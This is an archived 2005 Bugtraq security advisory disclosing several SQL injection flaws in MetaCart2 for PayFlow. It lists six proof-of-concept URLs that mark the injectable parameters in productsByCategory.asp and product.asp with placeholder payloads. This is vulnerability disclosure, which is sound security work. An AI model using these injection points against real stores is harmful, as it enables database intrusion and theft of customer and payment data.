MetaCart2 for PayFlow Multiple Sql Injection Vulnerabilities

From: dcrab (dcrab_at_hackerscenter.com)
Date: 04/26/05

  • Next message: dcrab: "Multiple SQL Injections in MetaBid Auctions" 
    Date: 26 Apr 2005 21:38:50 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

    Dcrab 's Security Advisory
    [Hsc Security Group] http://www.hackerscenter.com/
    [dP Security] http://digitalparadox.org/

    Get Dcrab's Services to audit your Web servers, scripts, networks, etc.
    Learn more at http://www.digitalparadox.org/services.ah

    Severity: High
    Title: MetaCart2 for PayFlow Multiple Sql Injection Vulnerabilities
    Date: 27/04/2005

    Vendor: MetaCart
    Vendor Website: http://metalinks.com
    Summary: There are, multiple sql injection vulnerabilities in metacart2
    for payflow.

    Proof of Concept Exploits:

    http://example.com/mcart2pfp/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bstrCatalog_NAME=Computers
    SQL INJECTION

    http://example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID='SQL_INJECTION&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME=Laptops
    SQL INJECTION

    http://example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID='SQL_INJECTION&amp%3bstrSubCatalog_NAME=Laptops
    SQL INJECTION

    http://example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME='SQL_INJECTION
    SQL INJECTION

    http://example.com/mcart2pfp/product.asp?intProdID='SQL_INJECTION
    SQL INJECTION

    http://example.com/mcart2pfp/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bpage=2
    SQL INJECTION

    Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

    Author:
    These vulnerabilties have been found and released by Diabolic Crab, Email:
    dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact
    me regarding these vulnerabilities. You can find me at,
    http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my
    soon to come out book on Secure coding with php.

  • Next message: dcrab: "Multiple SQL Injections in MetaBid Auctions"

    Relevant Pages